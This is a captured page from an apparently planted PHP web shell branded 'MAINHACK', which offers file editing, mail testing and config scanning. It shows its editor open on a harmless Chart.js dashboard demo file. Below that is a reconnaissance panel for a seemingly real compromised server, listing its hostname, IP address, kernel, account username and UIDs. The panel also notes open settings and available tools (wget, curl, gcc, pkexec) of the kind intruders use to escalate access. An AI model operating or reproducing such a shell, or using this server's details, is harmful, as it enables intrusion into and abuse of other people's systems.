[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: chartjs-demo.js
/* Template Name: Xeloro - Admin & Dashboard Template Author: Myra Studio File: Chart Js */ (function($) { 'use strict'; $(function() { if ($("#pieChart").length) { var pieChartCanvas = $("#pieChart").get(0).getContext("2d"); var pieChart = new Chart(pieChartCanvas, { type: 'pie', data: { datasets: [{ data: [21, 16, 48, 31], backgroundColor: [ '#3F51B5', '#f8ac5a', '#00c2b2', '#f15050' ], borderColor: [ '#3F51B5', '#f8ac5a', '#00c2b2', '#f15050' ], }], // These labels appear in the legend and in the tooltips when hovering different arcs labels: [ 'Samsung', 'Apple', 'Vivo', 'Motorola' ] }, options: { responsive: true, animation: { animateScale: true, animateRotate: true } } }); } if ($('#lineChart').length) { var lineChartCanvas = $("#lineChart").get(0).getContext("2d"); var data = { labels: ["2013", "2014", "2014", "2015", "2016", "2017", "2018", "2019"], datasets: [ { label: 'Apple', data: [120, 180, 140, 210, 160, 240, 180, 210], borderColor: [ '#1d84c6' ], borderWidth: 3, fill: false, pointBackgroundColor: "#ffffff", pointBorderColor: "#1d84c6" }, { label: 'Samsung', data: [80, 140, 100, 170, 120, 200, 140, 170], borderColor: [ '#00c2b2' ], borderWidth: 3, fill: false, pointBackgroundColor: "#ffffff", pointBorderColor: "#00c2b2" } ] }; var options = { scales: { yAxes: [{ gridLines: { drawBorder: false, borderDash: [3, 3] }, ticks: { min: 0 }, }], xAxes: [{ gridLines: { display: false, drawBorder: false, color: "#ffffff" } }] }, elements: { line: { tension: 0.2 }, point: { radius: 4 } }, stepsize: 1 }; var lineChart = new Chart(lineChartCanvas, { type: 'line', data: data, options: options }); } if ($("#areaChart").length) { var areaData = { labels: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"], datasets: [{ data: [22, 23, 28, 20, 27, 20, 20, 24, 10, 35, 20, 25], backgroundColor: [ '#23b5e2' ], borderColor: [ '#23b5e2' ], borderWidth: 1, fill: 'origin', label: "purchases" }, { data: [50, 40, 48, 70, 50, 63, 63, 42, 42, 51, 35, 35], backgroundColor: [ '#7266bb' ], borderColor: [ '#7266bb' ], borderWidth: 1, fill: 'origin', label: "services" }, { data: [95, 75, 90, 105, 95, 95, 95, 100, 75, 95, 90, 105], backgroundColor: [ '#dfe3e9' ], borderColor: [ '#dfe3e9' ], borderWidth: 1, fill: 'origin', label: "services" } ] }; var areaOptions = { responsive: true, maintainAspectRatio: true, plugins: { filler: { propagate: false } }, scales: { xAxes: [{ gridLines: { display: false, drawBorder: false, color: 'transparent', zeroLineColor: '#eeeeee' } }], yAxes: [{ gridLines: { drawBorder: false, borderDash: [3, 3] }, }] }, legend: { display: false }, tooltips: { enabled: true }, elements: { line: { tension: 0 }, point: { radius: 0 } } } var salesChartCanvas = $("#areaChart").get(0).getContext("2d"); var salesChart = new Chart(salesChartCanvas, { type: 'line', data: areaData, options: areaOptions }); } areaChart if ($("#barChart").length) { var currentChartCanvas = $("#barChart").get(0).getContext("2d"); var currentChart = new Chart(currentChartCanvas, { type: 'bar', data: { labels: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"], datasets: [{ label: 'Apple', data: [65, 59, 80, 81, 56, 89, 40, 32, 65, 59, 80, 81], backgroundColor: '#2ac14e' }, { label: 'Samsung', data: [89, 40, 32, 65, 59, 80, 81, 56, 89, 40, 65, 59], backgroundColor: '#f8ac5a' } ] }, options: { responsive: true, maintainAspectRatio: true, scales: { yAxes: [{ display: false, gridLines: { drawBorder: false, }, ticks: { fontColor: "#686868" } }], xAxes: [{ ticks: { fontColor: "#686868" }, gridLines: { display: false, drawBorder: false } }] }, elements: { point: { radius: 0 } } } }); } }); })(jQuery);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002